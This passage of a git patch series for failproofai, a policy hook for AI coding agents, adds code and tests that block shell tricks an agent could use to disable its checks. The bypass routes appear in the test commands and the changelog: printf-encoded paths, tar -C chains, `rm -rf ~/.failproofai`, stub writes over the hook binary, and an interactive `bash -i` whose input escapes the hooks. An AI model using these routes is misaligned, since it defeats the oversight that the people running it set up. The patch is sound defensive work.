b/__tests__/hooks/guard-npx-local-bin.test.ts index b1bc0b129..6a2019fb5 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -1486,3 +1486,47 @@ describe("block-failproofai-commands — option clusters, nested configs and ope expect(await bashIn(proj, command)).toBe("allow"); }); }); + +// hermes's ninth round on e0d88d81. +describe("block-failproofai-commands — printf conversions and tar's -C order, round nine", () => { + let root: string; + let proj: string; + + beforeAll(() => { + root = mkdtempSync(join(tmpdir(), "fpai-round9-")); + proj = join(root, "proj"); + mkdirSync(join(proj, "node_modules", ".bin"), { recursive: true }); + mkdirSync(join(proj, "out"), { recursive: true }); + const entry = join(proj, "node_modules", ".bin", "failproofai"); + symlinkSync(entry, join(proj, "16")); + symlinkSync(entry, join(proj, "8")); + symlinkSync(entry, join(proj, "ff")); + symlinkSync(join(proj, "node_modules", ".bin"), join(proj, "bins")); + }); + + afterAll(() => { + rmSync(root, { recursive: true, force: true }); + }); + + it.each([ + ["a hexadecimal %d", "printf -v D '%d' 0x10; cp stub $D"], + ["an octal %d", "printf -v D '%d' 010; cp stub $D"], + ["%i", "printf -v D '%i' 0x10; cp stub $D"], + ["%x", "printf -v D '%x' 255; cp stub $D"], + ["%u of a hexadecimal", "printf -v D '%u' 0x10; cp stub $D"], + ["a width this does not compute", "printf -v D '%2d' 16; cp stub $D"], + ["tar extracting one member into an earlier -C", 'tar -xfstub.tar -C bins failproofai -C "$PWD/out" other'], + ["tar's -C relative to the one before it", "tar -xf stub.tar -C node_modules -C .bin"], + ["tar's --directory before another -C", "tar -x -f stub.tar --directory=bins failproofai -C out x"], + ])("denies %s", async (_label, command) => { + expect(await bashIn(proj, command)).toBe("deny"); + }); + + it.each([ + "printf -v D '%d' 42; cp stub out/$D", + "printf -v N '%03d' 7; echo $N", + "tar -xf stub.tar -C out a -C out b", + ])("still allows %s", async (command) => { + expect(await bashIn(proj, command)).toBe("allow"); + }); +}); diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index ed574872d..aba48f621 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -1934,6 +1934,85 @@ const MAX_INSTRUCTION_FILE_BYTES = 1024 * 1024; /** curl's short options that take a value (curl 8 `--help all`); the rest of a cluster after one is that value. */ const CURL_SHORT_VALUE_OPTIONS = "AbcCdDeEFHKmoPQrtTuUwxXyYz"; +/** bash's integer argument for `%d` and friends, or null for one bash would refuse or this cannot hold exactly. */ +function bashPrintfInteger(arg: string): number | null { + const text = arg.trim(); + if (/^['"]/.test(text)) return text.length > 1 ? (text.codePointAt(1) ?? 0) : 0; + const m = /^([+-]?)(0[xX][0-9a-fA-F]+|0[0-7]*|[1-9][0-9]*)$/.exec(text); + if (m === null) return null; + const digits = m[2]; + const magnitude = /^0[xX]/.test(digits) ? parseInt(digits.slice(2), 16) : digits.length > 1 && digits.startsWith("0") ? parseInt(digits.slice(1), 8) : parseInt(digits, 10); + if (!Number.isSafeInteger(magnitude)) return null; + return m[1] === "-" ? -magnitude : magnitude; +} + +/** + * `printf FORMAT ARGS…` as bash computes it, for `%s`, `%b` (escapes left in, + * so the caller can refuse them), `%q` of a plain word, `%c` and the integer + * conversions `%d`, `%i`, `%u`, `%o`, `%x`, `%X`, with the flags `-`, `0`, + * `+`, space and `#`, a width and a precision, the format reused until the + * arguments run out. Null for anything else: a `*` width, a conversion it does + * not compute, or an argument bash would reject. + */ +function bashPrintf(format: string, args: readonly string[]): string | null { + const SPEC = /%(%|([-0+ #]*)(\d*)(?:\.(\d*))?([^%]?))/g; + const conversions = (format.match(/%[^%]/g) ?? []).length; + let k = 0; + let out = ""; + let passes = 0; + const pad = (text: string, width: number, left: boolean, zero: boolean): string => { + if (text.length >= width) return text; + if (left) return text + " ".repeat(width - text.length); + if (!zero) return " ".repeat(width - text.length) + text; + const sign = /^[+ -]/.test(text) ? text[0] : ""; + const prefix = /^[+ -]?0[xX]/.test(text) ? text.slice(sign.length, sign.length + 2) : ""; + const digits = text.slice(sign.length + prefix.length); + return sign + prefix + "0".repeat(width - text.length) + digits; + }; + do { + let failed = false; + out += format.replace(SPEC, (whole, spec: string, flags = "", widthText = "", precisionText: string | undefined, c = "") => { + if (spec === "%") return "%"; + if (/[*]/.test(whole) || widthText.length > 4 || (precisionText ?? "").length > 4) { + failed = true; + return ""; + } + const arg = args[k++] ?? ""; + const width = widthText === "" ? 0 : Number(widthText); + const precision = precisionText === undefined ? undefined : precisionText === "" ? 0 : Number(precisionText); + const left = flags.includes("-"); + let text: string; + if (c === "s" || c === "b") text = precision === undefined ? arg : arg.slice(0, precision); + else if (c === "c") text = arg.charAt(0); + else if (c === "q") { + if (arg === "" || !/^[A-Za-z0-9_./:@%+=,-]*$/.test(arg)) { + failed = true; + return ""; + } + text = arg; + } else if (c !== "" && "diuoxX".includes(c)) { + const n = arg === "" ? 0 : bashPrintfInteger(arg); + // A negative number in an unsigned form is its 64-bit two's complement, past what a number holds exactly. + if (n === null || (n < 0 && c !== "d" && c !== "i")) { + failed = true; + return ""; + } + let digits = c === "o" ? n.toString(8) : c === "x" ? n.toString(16) : c === "X" ? n.toString(16).toUpperCase() : String(Math.abs(n)); + if (precision !== undefined) digits = precision === 0 && n === 0 ? "" : digits.padStart(precision, "0"); + if (flags.includes("#") && n !== 0) digits = c === "o" ? (digits.startsWith("0") ? digits : `0${digits}`) : c === "x" ? `0x${digits}` : c === "X" ? `0X${digits}` : digits; + const sign = (c === "d" || c === "i") && n < 0 ? "-" : (c === "d" || c === "i") && flags.includes("+") ? "+" : (c === "d" || c === "i") && flags.includes(" ") ? " " : ""; + return pad(sign + digits, width, left, flags.includes("0") && precision === undefined); + } else { + failed = true; + return ""; + } + return pad(text, width, left, false); + }); + if (failed) return null; + } while (conversions > 0 && k < args.length && ++passes < 64); + return k < args.length ? null : out; +} + /** tar's short options other than `-C` that take a value (GNU tar and bsdtar). */ const TAR_SHORT_VALUE_OPTIONS = "fbFgHIKLNTVX"; @@ -3463,14 +3542,14 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, const args = words.slice(4).map(expand); // bash reuses the format until every argument is used (`printf -v D // '%s' ho ok` is `hook`; found by hermes on FailproofAI/failproofai#1058). - let k = 0; - let value = ""; - let passes = 0; - const conversions = (format.match(/%[sbqd]/g) ?? []).length; - do { - value += format.replace(/%(%|[sbqd])/g, (_, c: string) => (c === "%" ? "%" : (args[k++] ?? ""))); - } while (conversions > 0 && k < args.length && ++passes < 64); - setVariable(words[2], /[%\\]/.test(value) || k < args.length ? [] : [value]); + // Numbers are converted as bash converts them (`%d` of `0x10` is `16`; + // found by hermes on FailproofAI/failproofai#1058); a form this does not + // compute leaves the variable unknown. + const value = bashPrintf(format, args); + // Unquoted, a value with spaces splits into words (`%2d` of 16 is ` 16`): + // each is a value the variable may stand for. + const fields = value === null ? [] : value.split(/\s+/).filter((field) => field !== "" && field !== value); + setVariable(words[2], value === null || /\\/.test(value) ? [] : [value, ...fields]); } else if (head === "mapfile" || head === "readarray") { const named = words.slice(1).filter((word, k, all) => !word.startsWith("-") && !/^-[A-Za-z]*[dnOsuC]$/.test(all[k - 1] ?? "")); setVariable(named[named.length - 1] ?? "MAPFILE", []); @@ -3562,6 +3641,17 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, const head = list.length > 0 ? commandBasename(list[0]) : ""; const args = list.slice(1); let into = "."; + // tar takes each `-C` from the directory the one before it left, and a + // member goes to the `-C` before it on the line, so every one is a place + // the archive may write (`-C bins failproofai -C out other`; found by + // hermes on FailproofAI/failproofai#1058). + const intos: string[] = []; + const changeDir = (dir: string) => { + if (dir === "") return; + const previous = intos[intos.length - 1]; + intos.push(dir); + if (previous !== undefined && previous !== "." && !dir.startsWith("/") && !dir.startsWith("~")) intos.push(`${previous.replace(/\/+$/, "")}/${dir}`); + }; let extracting = false; if (head === "tar" || head === "gtar" || head === "bsdtar") { for (let k = 0; k < args.length; k++) { @@ -3569,7 +3659,7 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, if (arg.startsWith("--")) { const eq = arg.indexOf("="); const name = arg.slice(2, eq === -1 ? undefined : eq); - if (name.length >= 3 && "directory".startsWith(name)) into = eq === -1 ? (args[++k] ?? into) : arg.slice(eq + 1); + if (name.length >= 3 && "directory".startsWith(name)) changeDir(eq === -1 ? (args[++k] ?? "") : arg.slice(eq + 1)); else if (name.length >= 3 && ("extract".startsWith(name) || name === "get")) extracting = true; continue; } @@ -3579,7 +3669,7 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, if (k > 0) continue; if (arg.includes("x")) extracting = true; for (const letter of arg) { - if (letter === "C") into = args[++k] ?? into; + if (letter === "C") changeDir(args[++k] ?? ""); else if (TAR_SHORT_VALUE_OPTIONS.includes(letter)) k++; } continue; @@ -3592,7 +3682,7 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, if (letter === "x") extracting = true; if (letter !== "C" && !TAR_SHORT_VALUE_OPTIONS.includes(letter)) continue; const value = i + 1 < arg.length ? arg.slice(i + 1) : (args[++k] ?? ""); - if (letter === "C") into = value || into; + if (letter === "C") changeDir(value); break; } } @@ -3607,7 +3697,9 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, const out = args.find((arg) => arg.startsWith("-o")); if (out !== undefined) into = out.slice(2); } - return extracting && isBinDir(into === "" ? "." : into); + if (!extracting) return false; + const places = intos.length > 0 ? [into, ...intos] : [into]; + return places.some((place) => isBinDir(place === "" ? "." : place)); }; // curl reads options from `-K FILE` / `--config FILE` as if they were on // the line, so they are read onto it; one it cannot read is refused. A From 3dbf325f964ab590cfd79c79573d0b5ce984849a Mon Sep 17 00:00:00 2001 From: chhhee10 Date: Fri, 27 Nov 2026 15:38:35 +0530 Subject: [PATCH 59/60] [hooks] Refuse typed shell input that continues into a later write --- __tests__/hooks/typed-shell-input.test.ts | 7 ++++ src/hooks/typed-shell-input.ts | 50 ++++++++++++++++++++++- 2 files changed, 55 insertions(+), 2 deletions(-) diff --git a/__tests__/hooks/typed-shell-input.test.ts b/__tests__/hooks/typed-shell-input.test.ts index 5d11dd1ca..abff24a65 100644 --- a/__tests__/hooks/typed-shell-input.test.ts +++ b/__tests__/hooks/typed-shell-input.test.ts @@ -14,6 +14,10 @@ describe("readTypedText", () => { ["several lines", "cd /tmp\nrm -rf x\n", "cd /tmp\nrm -rf x"], ["a carriage return as Enter", "ls\r", "ls"], ["CRLF line ends", "a\r\nb\r\n", "a\nb"], + ["a heredoc sent whole", "cat > notes <<'EOF'\nline\nEOF\n", "cat > notes <<'EOF'\nline\nEOF"], + ["an escaped backslash at the end", "echo a\\\\\n", "echo a\\\\"], + ["a quote closed on the same line", "echo 'it''s'\n", "echo 'it''s'"], + ["a comment with a quote in it", "ls # don't\n", "ls # don't"], ])("reads %s as the lines it runs", (_label, text, command) => { expect(readTypedText(text)).toEqual({ kind: "command", command }); }); @@ -37,6 +41,9 @@ describe("readTypedText", () => { ["Tab completion", "rm -rf ~/.failpr\t\n"], ["Ctrl-W", "rm -rf ~/x\u0017~/.failproofai\n"], ["a cursor key mid-line", "rm -rf ~/.f\u001b[Dx\n"], + ["a trailing backslash, continued in the next write", "cp source \\\n"], + ["an unclosed quote", "cp source 'ho\n"], + ["a heredoc whose closing line has not been sent", "cat > notes < { diff --git a/src/hooks/typed-shell-input.ts b/src/hooks/typed-shell-input.ts index 8c20efd9f..c84cac0bc 100644 --- a/src/hooks/typed-shell-input.ts +++ b/src/hooks/typed-shell-input.ts @@ -15,7 +15,8 @@ * - Text that ends a line is the lines it runs. * - Keys alone (Ctrl-C, Ctrl-D, an arrow key, Enter) add no text of their own; * a line they bring back from history was judged when it was first typed. - * - Everything else is refused: text that does not end its line, because the + * - Everything else is refused: text that does not end its command (no line + * end, a trailing backslash, an open quote or heredoc), because the * shell runs it once a later write adds the rest, which is then judged * without it (`rm -rf ~/.fail` now, `proofai` and Enter next); and text * mixed with editing keys (Tab completion, Ctrl-W, Ctrl-Y, a cursor key), @@ -84,7 +85,52 @@ export function readTypedText(text: unknown): TypedInput { if (!lines.endsWith("\n")) { return { kind: "unreadable", why: "it does not end its line, so the shell would run it with whatever is typed next" }; } - return { kind: "command", command: lines.slice(0, -1) }; + const command = lines.slice(0, -1); + if (continuesPastWrite(command)) { + return { kind: "unreadable", why: "its command continues onto a later write, which would be judged without it" }; + } + return { kind: "command", command }; +} + +/** + * Whether the shell is still reading the same command when this text ends: a + * trailing backslash, an unclosed quote, or a heredoc whose closing line has + * not been sent. Its rest then arrives in a later write, judged on its own + * (`cp source \` now, `hook` and Enter next). + */ +function continuesPastWrite(command: string): boolean { + let quote: "'" | '"' | null = null; + const heredocs: string[] = []; + const lines = command.split("\n"); + for (let n = 0; n < lines.length; n++) { + const line = lines[n]; + if (quote === null && heredocs.length > 0) { + if (line.replace(/^\t+/, "") === heredocs[0]) heredocs.shift(); + continue; + } + for (let i = 0; i < line.length; i++) { + const ch = line[i]; + if (quote === "'") { + if (ch === "'") quote = null; + } else if (ch === "\\") { + if (i === line.length - 1) return true; + i++; + } else if (quote === '"') { + if (ch === '"') quote = null; + } else if (ch === "'" || ch === '"') { + quote = ch; + } else if (ch === "#" && (i === 0 || /\s/.test(line[i - 1]))) { + break; + } else if (ch === "<" && line[i + 1] === "<" && line[i + 2] !== "<") { + const m = /^<<-?\s*(['"]?)([^\s'"<>;&|()]+)\1/.exec(line.slice(i)); + if (m) { + heredocs.push(m[2]); + i += m[0].length - 1; + } + } + } + } + return quote !== null || heredocs.length > 0; } /** From db411090f148020dc5659e0557ffbf902136b861 Mon Sep 17 00:00:00 2001 From: chhhee10 Date: Fri, 27 Nov 2026 15:40:49 +0530 Subject: [PATCH 60/60] [hooks] Refuse a Codex command that opens an interactive shell or REPL --- CHANGELOG.md | 2 +- .../hooks/codex-interactive-session.test.ts | 61 ++++ .../hooks/typed-shell-input-handler.test.ts | 29 ++ src/hooks/codex-interactive-session.ts | 276 ++++++++++++++++++ src/hooks/handler.ts | 19 ++ src/hooks/typed-shell-input.ts | 4 + 6 files changed, 390 insertions(+), 1 deletion(-) create mode 100644 __tests__/hooks/codex-interactive-session.test.ts create mode 100644 src/hooks/codex-interactive-session.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 0b245e25a..2978924a4 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -19,7 +19,7 @@ - The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) - A session pause whose recorded start is more than a minute in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) - The always-on guard (`block-failproofai-commands`) also refuses agent writes of `node_modules/.bin/failproofai`, the file a project-scope hook's `npx -y failproofai` runs before the installed CLI, in the project or any directory above it: through the file tools (symlinks included) and every file a patch names (Codex's native `apply_patch` carries no `file_path`, and OpenClaw's reaches policies under its own name), and through shell commands that write it, copy, move, link or download a file of that name (`scp`, `wget`, `curl -O` included), name it as a value glued to an option (`curl -so`), in curl's `--output-dir` or as a file a sed script writes, or put a whole directory into npm's `.bin`, including after a `cd` (or one that may have failed, or a `cd -P` through a link), through a symlink (one the same line makes is resolved as the kernel resolves it, and a glob is expanded where its directories really are, on disk as the shell expands it), through a variable the same line sets (whichever of its values a subshell or a one-command assignment leaves it, read when it is assigned, through another variable, an operator such as `${D%/}` or `${X:-bins}`, a `cd`, a loop, `read`, `printf -v` or `declare -n`), through a glob however many names it matches (`tee many/*` with a link among them) and a write that sweeps a bin directory (`tee bins/*`), through a long option cut short as curl before 8 and getopt_long take it (`--output-di`), wget's `--default-page` and `-e`, curl's other output files (`--stderr`, the cookie jar), a sed script, patch or curl config read from a file, an archive extracted into a bin directory, or behind a trailing redirect. A Codex command, which may run in a `workdir` its hook does not report, is refused when a relative destination would plant the entry, through any directory on the way. One Write of an `exit 0` stub there had turned every later hook in that tree into an allow. The same fixes close five ways around the state guard: a native patch naming it, a redirect after the destination (`cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null`), another user's home in a glob (`rm -rf /home/alice/.failproof*`), a variable spliced into the path (`X=ai; rm -rf ~/.failproof$X`), and an output file glued to curl's option (`curl -so~/.failproofai/policies-config.json `); and quoted text that `echo` or `printf` only prints (`echo 'cat > ~/.failproofai/policies-config.json'`), to the terminal or into a documentation file nothing on the line runs, is no longer read as a redirect. npx's other inputs (a `package.json` `bin` entry, `.npmrc`, dependency installs) are not covered (FailproofAI/agenteye#1795, #1058) -- Harden Codex and Copilot tool input handling: text sent to a running shell (Codex `write_stdin`, Copilot `write_bash` and `write_powershell`) is now checked by the shell policies as the command lines it runs, and input failproofai cannot read as whole command lines is refused (#1058) +- Harden Codex and Copilot tool input handling: text sent to a running shell (Copilot `write_bash` and `write_powershell`, Codex `write_stdin`) is checked by the shell policies as the command lines it runs where the agent reports it, input that cannot be read as whole command lines is refused, and a Codex command that opens an interactive shell or REPL is refused (#1058) ### Docs diff --git a/__tests__/hooks/codex-interactive-session.test.ts b/__tests__/hooks/codex-interactive-session.test.ts new file mode 100644 index 000000000..3fafdd019 --- /dev/null +++ b/__tests__/hooks/codex-interactive-session.test.ts @@ -0,0 +1,61 @@ +// @vitest-environment node +// +// Codex runs PreToolUse for the command that opens a session it keeps running, +// and none for what is typed into it afterwards (live codex-cli 0.172: the only +// hook call was `Bash` `{"command": "bash -i"}`). So opening one is refused. +import { describe, it, expect } from "vitest"; +import { codexCallOpensSession, codexSessionGuardFor, opensInteractiveSession } from "../../src/hooks/codex-interactive-session"; +import type { PolicyContext } from "../../src/hooks/policy-types"; + +describe("opensInteractiveSession", () => { + it.each([ + "bash -i", "bash", "sh", "zsh -l", "/bin/bash --login", "fish", "bash -s", "exec bash", "env TERM=xterm bash -i", + "cd /tmp && bash", "FOO=1 bash -i", "busybox sh", "pwsh", "nu", + "python3", "python", "python3.12 -i", "python -i script.py", "python3 -m asyncio", "python -m pdb x.py", "python3 -", "ipython", "pypy3", + "node", "node -i", "deno", "bun repl", "irb", "pry", "ruby", "perl", "perl -de0", "php -a", "lua", "lua -i", "ghci", "R", "julia", "iex", + "tmux", "tmux new -s work", "tmux attach -t work", "screen", "screen -S x", + "ssh host", "ssh -p 2222 user@host", "ssh host bash", "mosh host", "telnet host", "sftp host", + "docker exec -it web sh", "docker run -it ubuntu", "docker run --interactive --rm img", "podman exec -i c bash", "docker attach web", + "kubectl exec -it pod -- sh", "kubectl run tmp -i --image=busybox", "kubectl debug -it pod", + "su", "su - root", "sudo -i", "sudo -s", "sudo bash", "sudo -u app bash", "doas sh", + "script", "script -q /dev/null", "nix-shell", "nix develop", "nix repl", "poetry shell", "pipenv shell", "vagrant ssh", + "vim notes.txt", "nvim", "ed file.txt", "emacs file", "nano x", "gdb ./a.out", "sqlite3 app.db", "psql", "mysql -u root", "redis-cli", + "nohup bash -i", "timeout 60 bash -i", "time python3", + ])("refuses %s", (command) => { + expect(opensInteractiveSession(command)).not.toBeNull(); + }); + + it.each([ + "ls -la", "npm run dev", "npm test", "bun run build", "cargo run", "make", "git log", "git status", + "bash script.sh", "bash -c 'echo hi'", "bash -lc 'make test'", "sh ./configure", "zsh -c ls", "echo ls | bash", "bash < setup.sh", + "bash <<'EOF'\necho hi\nEOF", + "python3 script.py", "python -c 'print(1)'", "python3 -m pytest", "python -m http.server 8000", "python3 < x.py", "cat x.py | python3", + "node server.js", "node -e 'console.log(1)'", "node --version", "deno run main.ts", "bun x.ts", "ruby -e 'puts 1'", "ruby app.rb", "perl -ne 'print' f", + "man ls", "less README.md", "git diff | less", "tmux send-keys -t work 'ls' Enter", "tmux ls", "screen -ls", + "ssh host uptime", "ssh -N -L 8080:localhost:80 host", "sftp -b batch.txt host", + "docker ps", "docker exec web ls", "docker run --rm img echo hi", "kubectl get pods", "kubectl exec pod -- ls", + "su -c 'whoami' root", "sudo ls", "sudo -u app make", "script -c 'make' log.txt", + "nix-shell --run make", "nix develop -c make", "gdb -batch -ex bt ./a.out", "emacs --batch -l x.el", + "sqlite3 app.db 'select 1'", "psql -c 'select 1'", "mysql -e 'select 1'", "redis-cli ping", + "echo 'bash -i'", "grep python3 file", "# bash -i", + ])("allows %s", (command) => { + expect(opensInteractiveSession(command)).toBeNull(); + }); +}); + +describe("codexCallOpensSession and the guard", () => { + it("judges only a canonical Bash call on PreToolUse", () => { + expect(codexCallOpensSession("PreToolUse", "Bash", { command: "bash -i" })).not.toBeNull(); + expect(codexCallOpensSession("PostToolUse", "Bash", { command: "bash -i" })).toBeNull(); + expect(codexCallOpensSession("PreToolUse", "Edit", { command: "bash -i" })).toBeNull(); + expect(codexCallOpensSession("PreToolUse", "Bash", {})).toBeNull(); + }); + + it("denies and tells the agent what to do instead", () => { + const ctx = { eventType: "PreToolUse", payload: {}, toolName: "Bash", toolInput: {} } as PolicyContext; + const result = codexSessionGuardFor("an interactive bash shell")(ctx); + expect(result.decision).toBe("deny"); + expect(result.reason).toContain("an interactive bash shell"); + expect(result.reason).toContain("Run each command on its own"); + }); +}); diff --git a/__tests__/hooks/typed-shell-input-handler.test.ts b/__tests__/hooks/typed-shell-input-handler.test.ts index bd23f8961..59b7c29ad 100644 --- a/__tests__/hooks/typed-shell-input-handler.test.ts +++ b/__tests__/hooks/typed-shell-input-handler.test.ts @@ -49,6 +49,7 @@ vi.mock("../../src/hooks/pack-manifest", () => ({ import { evaluateHookEvent } from "../../src/hooks/handler"; import { TYPED_INPUT_GUARD_NAME } from "../../src/hooks/typed-shell-input"; +import { CODEX_SESSION_GUARD_NAME } from "../../src/hooks/codex-interactive-session"; import { readActiveCloudManagedPolicies } from "../../src/hooks/cloud-managed-policies"; import { readActivePause } from "../../src/hooks/session-pause"; import { registerPolicy } from "../../src/hooks/policy-registry"; @@ -106,3 +107,31 @@ describe("handler: text typed into a running shell", () => { expect(registered()).toBe(true); }); }); + +describe("handler: a Codex command that opens an interactive session", () => { + const sessionGuard = () => vi.mocked(registerPolicy).mock.calls.some(([name]) => name === CODEX_SESSION_GUARD_NAME); + + it("registers the guard for Codex's bash -i, the one call Codex hooks for a kept-open shell", async () => { + await evaluateHookEvent("pre_tool_use", "codex", codex("Bash", { command: "bash -i" })); + expect(sessionGuard()).toBe(true); + }); + + it("does not register it for a one-shot command, or on another CLI", async () => { + await evaluateHookEvent("pre_tool_use", "codex", codex("Bash", { command: "npm test" })); + await evaluateHookEvent( + "PreToolUse", + "claude", + JSON.stringify({ session_id: "s1", cwd: "/tmp/p", tool_name: "Bash", tool_input: { command: "bash -i" } }), + ); + expect(sessionGuard()).toBe(false); + }); + + it("is lifted by a pause unless an enforcing Cloud policy is deployed", async () => { + vi.mocked(readActivePause).mockReturnValue({ sessionId: "s1" } as never); + await evaluateHookEvent("pre_tool_use", "codex", codex("Bash", { command: "bash -i" })); + expect(sessionGuard()).toBe(false); + vi.mocked(readActiveCloudManagedPolicies).mockReturnValue([CLOUD] as never); + await evaluateHookEvent("pre_tool_use", "codex", codex("Bash", { command: "bash -i" })); + expect(sessionGuard()).toBe(true); + }); +}); diff --git a/src/hooks/codex-interactive-session.ts b/src/hooks/codex-interactive-session.ts new file mode 100644 index 000000000..2256922af --- /dev/null +++ b/src/hooks/codex-interactive-session.ts @@ -0,0 +1,276 @@ +/** + * Codex sessions may not open an interactive shell or REPL. + * + * Codex can leave a command running and type into it later (`exec_command`, + * then `write_stdin`; in code mode both are called from inside its JavaScript + * `exec` tool). It runs PreToolUse for the command that starts the session and + * for nothing typed into it afterwards: in a live codex-cli 0.172 session the + * only hook call was `Bash` with `{"command": "bash -i"}`, and + * `failproofai policies list` typed into that shell ran unchecked (found by + * hermes on FailproofAI/failproofai#1058, FailproofAI/agenteye#1898). Turning + * `unified_exec` off does not remove those tools in code mode, and turning code + * mode off leaves Codex's model with no shell at all. + * + * So the one point failproofai can enforce is the start: under Codex, a command + * that opens a program which runs what is typed into it — a shell with no + * script, an interpreter with no program, a multiplexer, a remote or container + * shell, an editor or pager with a shell escape, a database client that can + * shell out — is refused, and the agent is told to run each command on its own, + * which Codex does hook. A server or build left running (`npm run dev`) stays + * allowed: it does not run what is typed into it. + * + * The list cannot be complete: a program not named here that runs typed text + * is not refused. Pagers (`less`, `man`) are left off on purpose: agents read + * documentation with them, and their `!` shell escape needs a terminal. + */ +import { deny, allow } from "./policy-helpers"; +import type { PolicyContext, PolicyMatcher, PolicyResult } from "./policy-types"; + +export const CODEX_SESSION_GUARD_NAME = "failproofai/codex-interactive-session"; + +export const CODEX_SESSION_GUARD_DESCRIPTION = + "Refuse a Codex command that opens an interactive shell or REPL, whose typed input Codex runs no hooks for."; + +export const CODEX_SESSION_GUARD_MATCH: PolicyMatcher = { + events: ["PreToolUse"], + toolNames: ["Bash"], +}; + +const SHELLS = new Set(["bash", "sh", "zsh", "dash", "ksh", "mksh", "ash", "fish", "tcsh", "csh", "nu", "xonsh", "elvish", "pwsh", "powershell", "busybox"]); +/** Interpreters that read their program from what is typed when given none. */ +const STDIN_INTERPRETERS = new Set(["ruby", "perl", "php", "lua", "luajit", "tclsh", "wish"]); +const ALWAYS_INTERACTIVE = new Set([ + "irb", "pry", "ipython", "bpython", "ptpython", "ghci", "iex", "erl", "scala", "clj", "clojure", "R", "julia", "sbcl", "racket", + "tmux", "screen", "byobu", "zellij", "mosh", "telnet", "ftp", "sftp", "lftp", + "vi", "vim", "nvim", "view", "ex", "ed", "emacs", "nano", "pico", + "gdb", "lldb", "pdb", "nix-repl", "redis-cli", "mongosh", "mongo", "expect", "login", +]); +/** Words before the program that run it rather than being it. */ +const WRAPPERS = new Set(["env", "exec", "command", "builtin", "nohup", "time", "nice", "ionice", "stdbuf", "timeout", "setsid", "chrt", "taskset", "unbuffer", "caffeinate"]); + +/** Top-level simple commands of a line, each with whether its stdin comes from a pipe or a redirect. */ +function simpleCommands(command: string): Array<{ words: string[]; stdinFed: boolean }> { + const out: Array<{ words: string[]; stdinFed: boolean }> = []; + let words: string[] = []; + let word = ""; + let inWord = false; + let quote: "'" | '"' | null = null; + let piped = false; + let redirected = false; + const endWord = () => { + if (inWord) words.push(word); + word = ""; + inWord = false; + }; + const endCommand = (nextPiped: boolean) => { + endWord(); + if (words.length > 0) out.push({ words, stdinFed: piped || redirected }); + words = []; + piped = nextPiped; + redirected = false; + }; + for (let i = 0; i < command.length; i++) { + const ch = command[i]; + if (quote) { + if (ch === quote) quote = null; + else if (ch === "\\" && quote === '"' && i + 1 < command.length) word += command[++i]; + else word += ch; + continue; + } + if (ch === "'" || ch === '"') { + quote = ch; + inWord = true; + } else if (ch === "\\" && i + 1 < command.length) { + word += command[++i]; + inWord = true; + } else if (ch === "#" && !inWord) { + while (i < command.length && command[i] !== "\n") i++; + endCommand(false); + } else if (ch === "|" && command[i + 1] !== "|") { + endCommand(true); + } else if (ch === ";" || ch === "\n" || ch === "&" || ch === "|" || ch === "(" || ch === ")" || ch === "{" || ch === "}") { + if ((ch === "&" || ch === "|") && command[i + 1] === ch) i++; + endCommand(false); + } else if (ch === "<" && command[i + 1] !== "(") { + // `< file`, `< word.slice(word.lastIndexOf("/") + 1); + +/** Whether an option word is a cluster carrying `letter` (`-lc` carries `c`). */ +const clusterHas = (word: string, letter: string): boolean => /^-[A-Za-z]+$/.test(word) && word.includes(letter); + +/** The program a simple command runs, past assignments and wrappers, with its arguments. */ +function programOf(words: string[]): { program: string; args: string[] } | null { + let i = 0; + while (i < words.length) { + const word = words[i]; + if (/^[A-Za-z_][A-Za-z0-9_]*=/.test(word)) { + i++; + continue; + } + const name = baseName(word); + if (!WRAPPERS.has(name)) break; + i++; + // A wrapper's own options and values (`env -u X`, `nice -n 5`, `timeout 30s`). + while (i < words.length && (words[i].startsWith("-") || /^[A-Za-z_][A-Za-z0-9_]*=/.test(words[i]) || (name === "timeout" && /^\d/.test(words[i])))) { + if (["-n", "-u", "-C", "-S", "-o", "-e", "-i", "-c", "-k", "-s", "-p"].includes(words[i]) && name !== "env") i++; + else if (name === "env" && (words[i] === "-u" || words[i] === "-C" || words[i] === "-S")) i++; + i++; + } + } + if (i >= words.length) return null; + return { program: baseName(words[i]), args: words.slice(i + 1) }; +} + +/** Operands: arguments that are not options (and not an option's value from `valued`). */ +function operands(args: string[], valued: ReadonlySet): string[] { + const out: string[] = []; + for (let k = 0; k < args.length; k++) { + const arg = args[k]; + if (arg === "--") return [...out, ...args.slice(k + 1)]; + if (arg.startsWith("-") && arg !== "-") { + if (valued.has(arg)) k++; + continue; + } + out.push(arg); + } + return out; +} + +const SHELL_VALUED = new Set(["-o", "+o", "-O", "+O", "--rcfile", "--init-file"]); +const SSH_VALUED = new Set(["-b", "-c", "-D", "-E", "-e", "-F", "-I", "-i", "-J", "-L", "-l", "-m", "-O", "-o", "-p", "-Q", "-R", "-S", "-W", "-w", "-B", "-P"]); + +/** Why `program args` opens an interactive session, or null when it does not. */ +function sessionReason(program: string, args: string[], stdinFed: boolean): string | null { + const name = 